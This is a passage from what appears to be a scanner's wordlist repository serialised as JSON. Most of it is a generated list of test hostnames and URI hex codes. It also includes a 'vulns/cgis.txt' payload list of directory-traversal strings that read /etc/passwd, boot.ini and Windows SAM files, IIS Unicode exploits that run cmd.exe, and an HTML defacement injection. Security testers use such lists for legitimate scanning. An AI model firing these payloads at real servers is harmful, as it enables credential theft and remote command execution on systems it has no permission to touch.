p\ntest.yoq\ntest.yor\ntest.yos\ntest.yot\ntest.you\ntest.yov\ntest.yow\ntest.yox\ntest.yoy\ntest.yoz\ntest.ypa\ntest.ypb\ntest.ypc\ntest.ypd\ntest.ype\ntest.ypf\ntest.ypg\ntest.yph\ntest.ypi\ntest.ypj\ntest.ypk\ntest.ypl\ntest.ypm\ntest.ypn\ntest.ypo\ntest.ypp\ntest.ypq\ntest.ypr\ntest.yps\ntest.ypt\ntest.ypu\ntest.ypv\ntest.ypw\ntest.ypx\ntest.ypy\ntest.ypz\ntest.yqa\ntest.yqb\ntest.yqc\ntest.yqd\ntest.yqe\ntest.yqf\ntest.yqg\ntest.yqh\ntest.yqi\ntest.yqj\ntest.yqk\ntest.yql\ntest.yqm\ntest.yqn\ntest.yqo\ntest.yqp\ntest.yqq\ntest.yqr\ntest.yqs\ntest.yqt\ntest.yqu\ntest.yqv\ntest.yqw\ntest.yqx\ntest.yqy\ntest.yqz\ntest.yra\ntest.yrb\ntest.yrc\ntest.yrd\ntest.yre\ntest.yrf\ntest.yrg\ntest.yrh\ntest.yri\ntest.yrj\ntest.yrk\ntest.yrl\ntest.yrm\ntest.yrn\ntest.yro\ntest.yrp\ntest.yrq\ntest.yrr\ntest.yrs\ntest.yrt\ntest.yru\ntest.yrv\ntest.yrw\ntest.yrx\ntest.yry\ntest.yrz\ntest.ysa\ntest.ysb\ntest.ysc\ntest.ysd\ntest.yse\ntest.ysf\ntest.ysg\ntest.ysh\ntest.ysi\ntest.ysj\ntest.ysk\ntest.ysl\ntest.ysm\ntest.ysn\ntest.yso\ntest.ysp\ntest.ysq\ntest.ysr\ntest.yss\ntest.yst\ntest.ysu\ntest.ysv\ntest.ysw\ntest.ysx\ntest.ysy\ntest.ysz\ntest.yta\ntest.ytb\ntest.ytc\ntest.ytd\ntest.yte\ntest.ytf\ntest.ytg\ntest.yth\ntest.yti\ntest.ytj\ntest.ytk\ntest.ytl\ntest.ytm\ntest.ytn\ntest.yto\ntest.ytp\ntest.ytq\ntest.ytr\ntest.yts\ntest.ytt\ntest.ytu\ntest.ytv\ntest.ytw\ntest.ytx\ntest.yty\ntest.ytz\ntest.yua\ntest.yub\ntest.yuc\ntest.yud\ntest.yue\ntest.yuf\ntest.yug\ntest.yuh\ntest.yui\ntest.yuj\ntest.yuk\ntest.yul\ntest.yum\ntest.yun\ntest.yuo\ntest.yup\ntest.yuq\ntest.yur\ntest.yus\ntest.yut\ntest.yuu\ntest.yuv\ntest.yuw\ntest.yux\ntest.yuy\ntest.yuz\ntest.yva\ntest.yvb\ntest.yvc\ntest.yvd\ntest.yve\ntest.yvf\ntest.yvg\ntest.yvh\ntest.yvi\ntest.yvj\ntest.yvk\ntest.yvl\ntest.yvm\ntest.yvn\ntest.yvo\ntest.yvp\ntest.yvq\ntest.yvr\ntest.yvs\ntest.yvt\ntest.yvu\ntest.yvv\ntest.yvw\ntest.yvx\ntest.yvy\ntest.yvz\ntest.ywa\ntest.ywb\ntest.ywc\ntest.ywd\ntest.ywe\ntest.ywf\ntest.ywg\ntest.ywh\ntest.ywi\ntest.ywj\ntest.ywk\ntest.ywl\ntest.ywm\ntest.ywn\ntest.ywo\ntest.ywp\ntest.ywq\ntest.ywr\ntest.yws\ntest.ywt\ntest.ywu\ntest.ywv\ntest.yww\ntest.ywx\ntest.ywy\ntest.ywz\ntest.yxa\ntest.yxb\ntest.yxc\ntest.yxd\ntest.yxe\ntest.yxf\ntest.yxg\ntest.yxh\ntest.yxi\ntest.yxj\ntest.yxk\ntest.yxl\ntest.yxm\ntest.yxn\ntest.yxo\ntest.yxp\ntest.yxq\ntest.yxr\ntest.yxs\ntest.yxt\ntest.yxu\ntest.yxv\ntest.yxw\ntest.yxx\ntest.yxy\ntest.yxz\ntest.yya\ntest.yyb\ntest.yyc\ntest.yyd\ntest.yye\ntest.yyf\ntest.yyg\ntest.yyh\ntest.yyi\ntest.yyj\ntest.yyk\ntest.yyl\ntest.yym\ntest.yyn\ntest.yyo\ntest.yyp\ntest.yyq\ntest.yyr\ntest.yys\ntest.yyt\ntest.yyu\ntest.yyv\ntest.yyw\ntest.yyx\ntest.yyy\ntest.yyz\ntest.yza\ntest.yzb\ntest.yzc\ntest.yzd\ntest.yze\ntest.yzf\ntest.yzg\ntest.yzh\ntest.yzi\ntest.yzj\ntest.yzk\ntest.yzl\ntest.yzm\ntest.yzn\ntest.yzo\ntest.yzp\ntest.yzq\ntest.yzr\ntest.yzs\ntest.yzt\ntest.yzu\ntest.yzv\ntest.yzw\ntest.yzx\ntest.yzy\ntest.yzz\ntest.zaa\ntest.zab\ntest.zac\ntest.zad\ntest.zae\ntest.zaf\ntest.zag\ntest.zah\ntest.zai\ntest.zaj\ntest.zak\ntest.zal\ntest.zam\ntest.zan\ntest.zao\ntest.zap\ntest.zaq\ntest.zar\ntest.zas\ntest.zat\ntest.zau\ntest.zav\ntest.zaw\ntest.zax\ntest.zay\ntest.zaz\ntest.zba\ntest.zbb\ntest.zbc\ntest.zbd\ntest.zbe\ntest.zbf\ntest.zbg\ntest.zbh\ntest.zbi\ntest.zbj\ntest.zbk\ntest.zbl\ntest.zbm\ntest.zbn\ntest.zbo\ntest.zbp\ntest.zbq\ntest.zbr\ntest.zbs\ntest.zbt\ntest.zbu\ntest.zbv\ntest.zbw\ntest.zbx\ntest.zby\ntest.zbz\ntest.zca\ntest.zcb\ntest.zcc\ntest.zcd\ntest.zce\ntest.zcf\ntest.zcg\ntest.zch\ntest.zci\ntest.zcj\ntest.zck\ntest.zcl\ntest.zcm\ntest.zcn\ntest.zco\ntest.zcp\ntest.zcq\ntest.zcr\ntest.zcs\ntest.zct\ntest.zcu\ntest.zcv\ntest.zcw\ntest.zcx\ntest.zcy\ntest.zcz\ntest.zda\ntest.zdb\ntest.zdc\ntest.zdd\ntest.zde\ntest.zdf\ntest.zdg\ntest.zdh\ntest.zdi\ntest.zdj\ntest.zdk\ntest.zdl\ntest.zdm\ntest.zdn\ntest.zdo\ntest.zdp\ntest.zdq\ntest.zdr\ntest.zds\ntest.zdt\ntest.zdu\ntest.zdv\ntest.zdw\ntest.zdx\ntest.zdy\ntest.zdz\ntest.zea\ntest.zeb\ntest.zec\ntest.zed\ntest.zee\ntest.zef\ntest.zeg\ntest.zeh\ntest.zei\ntest.zej\ntest.zek\ntest.zel\ntest.zem\ntest.zen\ntest.zeo\ntest.zep\ntest.zeq\ntest.zer\ntest.zes\ntest.zet\ntest.zeu\ntest.zev\ntest.zew\ntest.zex\ntest.zey\ntest.zez\ntest.zfa\ntest.zfb\ntest.zfc\ntest.zfd\ntest.zfe\ntest.zff\ntest.zfg\ntest.zfh\ntest.zfi\ntest.zfj\ntest.zfk\ntest.zfl\ntest.zfm\ntest.zfn\ntest.zfo\ntest.zfp\ntest.zfq\ntest.zfr\ntest.zfs\ntest.zft\ntest.zfu\ntest.zfv\ntest.zfw\ntest.zfx\ntest.zfy\ntest.zfz\ntest.zga\ntest.zgb\ntest.zgc\ntest.zgd\ntest.zge\ntest.zgf\ntest.zgg\ntest.zgh\ntest.zgi\ntest.zgj\ntest.zgk\ntest.zgl\ntest.zgm\ntest.zgn\ntest.zgo\ntest.zgp\ntest.zgq\ntest.zgr\ntest.zgs\ntest.zgt\ntest.zgu\ntest.zgv\ntest.zgw\ntest.zgx\ntest.zgy\ntest.zgz\ntest.zha\ntest.zhb\ntest.zhc\ntest.zhd\ntest.zhe\ntest.zhf\ntest.zhg\ntest.zhh\ntest.zhi\ntest.zhj\ntest.zhk\ntest.zhl\ntest.zhm\ntest.zhn\ntest.zho\ntest.zhp\ntest.zhq\ntest.zhr\ntest.zhs\ntest.zht\ntest.zhu\ntest.zhv\ntest.zhw\ntest.zhx\ntest.zhy\ntest.zhz\ntest.zia\ntest.zib\ntest.zic\ntest.zid\ntest.zie\ntest.zif\ntest.zig\ntest.zih\ntest.zii\ntest.zij\ntest.zik\ntest.zil\ntest.zim\ntest.zin\ntest.zio\ntest.zip\ntest.ziq\ntest.zir\ntest.zis\ntest.zit\ntest.ziu\ntest.ziv\ntest.ziw\ntest.zix\ntest.ziy\ntest.ziz\ntest.zja\ntest.zjb\ntest.zjc\ntest.zjd\ntest.zje\ntest.zjf\ntest.zjg\ntest.zjh\ntest.zji\ntest.zjj\ntest.zjk\ntest.zjl\ntest.zjm\ntest.zjn\ntest.zjo\ntest.zjp\ntest.zjq\ntest.zjr\ntest.zjs\ntest.zjt\ntest.zju\ntest.zjv\ntest.zjw\ntest.zjx\ntest.zjy\ntest.zjz\ntest.zka\ntest.zkb\ntest.zkc\ntest.zkd\ntest.zke\ntest.zkf\ntest.zkg\ntest.zkh\ntest.zki\ntest.zkj\ntest.zkk\ntest.zkl\ntest.zkm\ntest.zkn\ntest.zko\ntest.zkp\ntest.zkq\ntest.zkr\ntest.zks\ntest.zkt\ntest.zku\ntest.zkv\ntest.zkw\ntest.zkx\ntest.zky\ntest.zkz\ntest.zla\ntest.zlb\ntest.zlc\ntest.zld\ntest.zle\ntest.zlf\ntest.zlg\ntest.zlh\ntest.zli\ntest.zlj\ntest.zlk\ntest.zll\ntest.zlm\ntest.zln\ntest.zlo\ntest.zlp\ntest.zlq\ntest.zlr\ntest.zls\ntest.zlt\ntest.zlu\ntest.zlv\ntest.zlw\ntest.zlx\ntest.zly\ntest.zlz\ntest.zma\ntest.zmb\ntest.zmc\ntest.zmd\ntest.zme\ntest.zmf\ntest.zmg\ntest.zmh\ntest.zmi\ntest.zmj\ntest.zmk\ntest.zml\ntest.zmm\ntest.zmn\ntest.zmo\ntest.zmp\ntest.zmq\ntest.zmr\ntest.zms\ntest.zmt\ntest.zmu\ntest.zmv\ntest.zmw\ntest.zmx\ntest.zmy\ntest.zmz\ntest.zna\ntest.znb\ntest.znc\ntest.znd\ntest.zne\ntest.znf\ntest.zng\ntest.znh\ntest.zni\ntest.znj\ntest.znk\ntest.znl\ntest.znm\ntest.znn\ntest.zno\ntest.znp\ntest.znq\ntest.znr\ntest.zns\ntest.znt\ntest.znu\ntest.znv\ntest.znw\ntest.znx\ntest.zny\ntest.znz\ntest.zoa\ntest.zob\ntest.zoc\ntest.zod\ntest.zoe\ntest.zof\ntest.zog\ntest.zoh\ntest.zoi\ntest.zoj\ntest.zok\ntest.zol\ntest.zom\ntest.zon\ntest.zoo\ntest.zop\ntest.zoq\ntest.zor\ntest.zos\ntest.zot\ntest.zou\ntest.zov\ntest.zow\ntest.zox\ntest.zoy\ntest.zoz\ntest.zpa\ntest.zpb\ntest.zpc\ntest.zpd\ntest.zpe\ntest.zpf\ntest.zpg\ntest.zph\ntest.zpi\ntest.zpj\ntest.zpk\ntest.zpl\ntest.zpm\ntest.zpn\ntest.zpo\ntest.zpp\ntest.zpq\ntest.zpr\ntest.zps\ntest.zpt\ntest.zpu\ntest.zpv\ntest.zpw\ntest.zpx\ntest.zpy\ntest.zpz\ntest.zqa\ntest.zqb\ntest.zqc\ntest.zqd\ntest.zqe\ntest.zqf\ntest.zqg\ntest.zqh\ntest.zqi\ntest.zqj\ntest.zqk\ntest.zql\ntest.zqm\ntest.zqn\ntest.zqo\ntest.zqp\ntest.zqq\ntest.zqr\ntest.zqs\ntest.zqt\ntest.zqu\ntest.zqv\ntest.zqw\ntest.zqx\ntest.zqy\ntest.zqz\ntest.zra\ntest.zrb\ntest.zrc\ntest.zrd\ntest.zre\ntest.zrf\ntest.zrg\ntest.zrh\ntest.zri\ntest.zrj\ntest.zrk\ntest.zrl\ntest.zrm\ntest.zrn\ntest.zro\ntest.zrp\ntest.zrq\ntest.zrr\ntest.zrs\ntest.zrt\ntest.zru\ntest.zrv\ntest.zrw\ntest.zrx\ntest.zry\ntest.zrz\ntest.zsa\ntest.zsb\ntest.zsc\ntest.zsd\ntest.zse\ntest.zsf\ntest.zsg\ntest.zsh\ntest.zsi\ntest.zsj\ntest.zsk\ntest.zsl\ntest.zsm\ntest.zsn\ntest.zso\ntest.zsp\ntest.zsq\ntest.zsr\ntest.zss\ntest.zst\ntest.zsu\ntest.zsv\ntest.zsw\ntest.zsx\ntest.zsy\ntest.zsz\ntest.zta\ntest.ztb\ntest.ztc\ntest.ztd\ntest.zte\ntest.ztf\ntest.ztg\ntest.zth\ntest.zti\ntest.ztj\ntest.ztk\ntest.ztl\ntest.ztm\ntest.ztn\ntest.zto\ntest.ztp\ntest.ztq\ntest.ztr\ntest.zts\ntest.ztt\ntest.ztu\ntest.ztv\ntest.ztw\ntest.ztx\ntest.zty\ntest.ztz\ntest.zua\ntest.zub\ntest.zuc\ntest.zud\ntest.zue\ntest.zuf\ntest.zug\ntest.zuh\ntest.zui\ntest.zuj\ntest.zuk\ntest.zul\ntest.zum\ntest.zun\ntest.zuo\ntest.zup\ntest.zuq\ntest.zur\ntest.zus\ntest.zut\ntest.zuu\ntest.zuv\ntest.zuw\ntest.zux\ntest.zuy\ntest.zuz\ntest.zva\ntest.zvb\ntest.zvc\ntest.zvd\ntest.zve\ntest.zvf\ntest.zvg\ntest.zvh\ntest.zvi\ntest.zvj\ntest.zvk\ntest.zvl\ntest.zvm\ntest.zvn\ntest.zvo\ntest.zvp\ntest.zvq\ntest.zvr\ntest.zvs\ntest.zvt\ntest.zvu\ntest.zvv\ntest.zvw\ntest.zvx\ntest.zvy\ntest.zvz\ntest.zwa\ntest.zwb\ntest.zwc\ntest.zwd\ntest.zwe\ntest.zwf\ntest.zwg\ntest.zwh\ntest.zwi\ntest.zwj\ntest.zwk\ntest.zwl\ntest.zwm\ntest.zwn\ntest.zwo\ntest.zwp\ntest.zwq\ntest.zwr\ntest.zws\ntest.zwt\ntest.zwu\ntest.zwv\ntest.zww\ntest.zwx\ntest.zwy\ntest.zwz\ntest.zxa\ntest.zxb\ntest.zxc\ntest.zxd\ntest.zxe\ntest.zxf\ntest.zxg\ntest.zxh\ntest.zxi\ntest.zxj\ntest.zxk\ntest.zxl\ntest.zxm\ntest.zxn\ntest.zxo\ntest.zxp\ntest.zxq\ntest.zxr\ntest.zxs\ntest.zxt\ntest.zxu\ntest.zxv\ntest.zxw\ntest.zxx\ntest.zxy\ntest.zxz\ntest.zya\ntest.zyb\ntest.zyc\ntest.zyd\ntest.zye\ntest.zyf\ntest.zyg\ntest.zyh\ntest.zyi\ntest.zyj\ntest.zyk\ntest.zyl\ntest.zym\ntest.zyn\ntest.zyo\ntest.zyp\ntest.zyq\ntest.zyr\ntest.zys\ntest.zyt\ntest.zyu\ntest.zyv\ntest.zyw\ntest.zyx\ntest.zyy\ntest.zyz\ntest.zza\ntest.zzb\ntest.zzc\ntest.zzd\ntest.zze\ntest.zzf\ntest.zzg\ntest.zzh\ntest.zzi\ntest.zzj\ntest.zzk\ntest.zzl\ntest.zzm\ntest.zzn\ntest.zzo\ntest.zzp\ntest.zzq\ntest.zzr\ntest.zzs\ntest.zzt\ntest.zzu\ntest.zzv\ntest.zzw\ntest.zzx\ntest.zzy\ntest.zzz\n"
  },
  {
    "path": "wordlist/stress/uri_hex.txt",
    "content": "%00\n%01\n%02\n%03\n%04\n%05\n%06\n%07\n%08\n%09\n%0a\n%0b\n%0c\n%0d\n%0e\n%0f\n%10\n%11\n%12\n%13\n%14\n%15\n%16\n%17\n%18\n%19\n%1a\n%1b\n%1c\n%1d\n%1e\n%1f\n%20\n%21\n%22\n%23\n%24\n%25\n%26\n%27\n%28\n%29\n%2a\n%2b\n%2c\n%2d\n%2e\n%2f\n%30\n%31\n%32\n%33\n%34\n%35\n%36\n%37\n%38\n%39\n%3a\n%3b\n%3c\n%3d\n%3e\n%3f\n%40\n%41\n%42\n%43\n%44\n%45\n%46\n%47\n%48\n%49\n%4a\n%4b\n%4c\n%4d\n%4e\n%4f\n%50\n%51\n%52\n%53\n%54\n%55\n%56\n%57\n%58\n%59\n%5a\n%5b\n%5c\n%5d\n%5e\n%5f\n%60\n%61\n%62\n%63\n%64\n%65\n%66\n%67\n%68\n%69\n%6a\n%6b\n%6c\n%6d\n%6e\n%6f\n%70\n%71\n%72\n%73\n%74\n%75\n%76\n%77\n%78\n%79\n%7a\n%7b\n%7c\n%7d\n%7e\n%7f\n%80\n%81\n%82\n%83\n%84\n%85\n%86\n%87\n%88\n%89\n%8a\n%8b\n%8c\n%8d\n%8e\n%8f\n%90\n%91\n%92\n%93\n%94\n%95\n%96\n%97\n%98\n%99\n%9a\n%9b\n%9c\n%9d\n%9e\n%9f\n%a0\n%a1\n%a2\n%a3\n%a4\n%a5\n%a6\n%a7\n%a8\n%a9\n%aa\n%ab\n%ac\n%ad\n%ae\n%af\n%b0\n%b1\n%b2\n%b3\n%b4\n%b5\n%b6\n%b7\n%b8\n%b9\n%ba\n%bb\n%bc\n%bd\n%be\n%bf\n%c0\n%c1\n%c2\n%c3\n%c4\n%c5\n%c6\n%c7\n%c8\n%c9\n%ca\n%cb\n%cc\n%cd\n%ce\n%cf\n%d0\n%d1\n%d2\n%d3\n%d4\n%d5\n%d6\n%d7\n%d8\n%d9\n%da\n%db\n%dc\n%dd\n%de\n%df\n%e0\n%e1\n%e2\n%e3\n%e4\n%e5\n%e6\n%e7\n%e8\n%e9\n%ea\n%eb\n%ec\n%ed\n%ee\n%ef\n%f0\n%f1\n%f2\n%f3\n%f4\n%f5\n%f6\n%f7\n%f8\n%f9\n%fa\n%fb\n%fc\n%fd\n%fe\n%ff\n"
  },
  {
    "path": "wordlist/vulns/apache.txt",
    "content": ".htaccess\n.htpasswd\n.meta\n.web\naccess_log\ncgi\ncgi-bin\ncgi-pub\ncgi-script\ndummy\nerror\nerror_log\nhtdocs\nhttpd\nhttpd.pid\nicons\nindex.html\nlogs\nmanual\nphf\nprintenv\nserver-info\nserver-status\nstatus\ntest-cgi\ntmp\n~bin\n~ftp\n~nobody\n~root\n"
  },
  {
    "path": "wordlist/vulns/cgis.txt",
    "content": "%00\n%00/\n%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n%2e/\n%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\n%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../boot.ini\n%2f/\n%3f.jsp\n%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini\n%5c/\n%NETHOOD%/\n%a%s%p%d\n*.*\n.%252e/.%252e/.%252e/winnt/boot.ini\n..%252f..%252f..%252f..%252f..%252f../windows/repair/sam\n..%252f..%252f..%252f..%252f..%252f../winnt/repair/sam\n..%252f..%252f..%252f..%252f..%252f../winnt/repair/sam._\n..%255c..%255c..%255c..%255c..%255c../windows/repair/sam\n..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam\n..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam._\n..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\" & vbCrLf & vbCrLf\n..%2F..%2F..%2F..%2F..%2F../windows/repair/sam\n..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam\n..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam._\n..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ \n...................../config.sys\n..................../boot.ini\n.................../boot.ini\n................../boot.ini\n................../config.sys\n................../etc/passwd\n................./boot.ini\n................/boot.ini\n.............../boot.ini\n............../boot.ini\n............./boot.ini\n............/boot.ini\n.........../boot.ini\n........../autoexec.bat\n........../boot.ini\n........./boot.ini\n......../boot.ini\n......./boot.ini\n....../\n....../ all\n....../autoexec.bat\n....../boot.ini\n....../config.sys\n....../etc/hosts\n...../boot.ini\n..../Windows/Admin.pwl\n..../boot.ini\n..../config.sys\n.../.../.../\n.../.../.../.../.../.../.../.../.../.../etc/passwd\n.../.../.../.../.../.../.../.../.../boot.ini\n.../boot.ini\n../../../../\n../../../../ all\n../../../../../../../../../../etc/*\n../../../../../../../../../../etc/passw*\n../../../../../../../../../../etc/passwd\n../../../../../../../../../boot.ini\n../../../../../../../../boot.ini\n../../../../../../../boot.ini\n../../../../../../Scandisk.log\n../../../../../../boot.ini\n../../../../../boot.ini\n../../../../../etc/passwd\n../../../../../winnt/repair/sam._\n../../../../boot.ini\n../../../../config.sys\n../../../../etc/hosts\n../../../../etc/passwd\n../../../../winnt/repair/sam._\n../../../autoexec.bat\n../../../boot.ini\n../../../etc/passwd\n../../../scandisk.log\n../../boot.ini\n../../etc/passwd\n../../passwd\n../../shadow\n../../windows/user.dat\n../../winnt/win.ini\n../boot.ini\n../config.dat\n../webserver.ini\n..\\..\\..\\..\\..\\..\\autoexec.bat\n..\\..\\..\\..\\..\\..\\temp\\temp.class\n..\\..\\..\\..\\..\\autoexec.bat\n..\\..\\..\\..\\autoexec.bat\n..\\..\\..\\autoexec.bat\n..\\..\\..\\winnt\\repair\\sam._\n..\\..\\autoexec.bat\n..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini\n..\\\\..\\\\..\\\\..\\\\..\\\\..\\autoexec.bat\n..\\\\..\\\\..\\winnt\\repair\\sam._\n./\n.DS_Store\n.FBCIndex\n.access\n.addressbook\n.bash_history\n.bashrc\n.cobalt/sysManage/../admin/.htaccess\n.forward\n.history\n.htaccess\n.htaccess/\n.html/............*/config.sys\n.html/............./config.sys\n.html/............/autoexec.bat\n.htpasswd\n.htpasswd/\n.jpilot/\n.jsp/WEB-INF/classes/Env.java\n.lynx_cookies\n.mysql_history\n.nsconfig\n.nsf/../winnt/win.ini\n.passwd\n.perf\n.pinerc\n.plan\n.proclog\n.procmailrc\n.profile\n.psql_history\n.rhosts\n.sh_history\n.ssh\n.ssh/authorized_keys\n.ssh/known_hosts\n///./../.../boot.ini\n//etc/hosts\n//etc/passwd\nADMINconfig.php\nASP/cart/database/metacart.mdb\nASPSamp/AdvWorks/equipment/catalog_type.asp\nAdmin/\nAdmin_files/order.log\nAdvWorks/equipment/catalog_type.asp\nAlbum/?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0\nCFIDE/administrator/index.cfm\nCFIDE/probe.cfm\nCOM\nCSNews.cgi\nCVS/Entries\nConfig1.htm\nConsoleHelp/login.jsp\nDB4Web/10.10.10.10:100\nDEASAppDesign.nsf\nDEASLog.nsf\nDEASLog01.nsf\nDEASLog02.nsf\nDEASLog03.nsf\nDEASLog04.nsf\nDEASLog05.nsf\nDEESAdmin.nsf\nData/settings.xml+\nDomainFiles/*//../../../../../../../../../../etc/passwd\nGW5/GWWEB.EXE?HELP=bad-request\nGWWEB.EXE?HELP=bad-request\nGetFile.cfm?FT=Text&FST=Plain&FilePath=C:\\\\WINNT\\\\repair\\\\sam._\nGozila.cgi\nIISSAMPLES/ExAir/Search/search.asp\nISSamples/SQLQHit.asp\nISSamples/sqlqhit.asp\nIlohaMail/blank.html\nJUNK(10)\nJUNK(10)abcd.html\nJUNK(223)<font%20size=50>DEFACED<!--//--\nJUNK(5).csp\nJUNK(5).htw\nJUNK(6).cfm?mode=debug\nJigsaw/\nLOGIN.PWD\nMIDICART/midicart.mdb\nMSADC/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nMSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ \nMSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ \nMSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ \nMSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ \nMSADC/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\nMSADC/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nMSADC/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nMWS/HandleSearch.html?searchTarget=test&B1=Submit\nMem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000\nNULL.printer\nNetDetector/middle_help_intro.htm\nNewuser?Image=../../database/rbsserv.mdb\nOpenFile.aspx?file=../../../../../../../../../../boot.ini\nOpenTopic\nOrders/order.log\nOrders/order_log.dat\nOrders/order_log_v12.dat\nPBServer/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nPBServer/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nPBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ \nPBServer/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\nPBServer/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\nPBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\\nPBServer/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\nPBServer/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\nPBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ \nPBServer/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\nPBServer/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\nPBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ \nPBServer/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nPBServer/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\nPBServer/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\nPBServer/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\nPBServer/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nPBServer/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\nPBServer/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nPBServer/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\nPBServer/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nPBServer/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\nPBServer/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\nPBServer/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\nPBServer/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\nPBServer/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\nPBServer/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\nPBServer/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\nPDG_Cart/oder.log\nPDG_Cart/order.log\nPDG_Cart/shopper.conf\nPOSTNUKEMy_eGallery/public/displayCategory.php\nPSUser/PSCOErrPage.htm?errPagePath=/etc/passwd\nProductCart/pc/msg.asp?|-|0|404_Object_Not_Found\nProgram%20Files/\nProxy/LoginResponse\nREADME.TXT\nROADS/cgi-bin/search.pl?form=../../../../../../../../../../etc/passwd%00\nRpc/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nRpc/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nRpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\\nRpc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\nRpc/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\nRpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\\nRpc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\nRpc/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\nRpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ \nRpc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\nRpc/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\nRpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ \nRpc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nRpc/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\nRpc/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\nRpc/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\nRpc/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nRpc/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\nRpc/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nRpc/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\nRpc/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nRpc/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\nRpc/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\nRpc/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\nRpc/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\nRpc/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\nRpc/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\nRpc/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\nSPHERA/login/sm_login_screen.php?error=\\\nSPHERA/login/sm_login_screen.php?u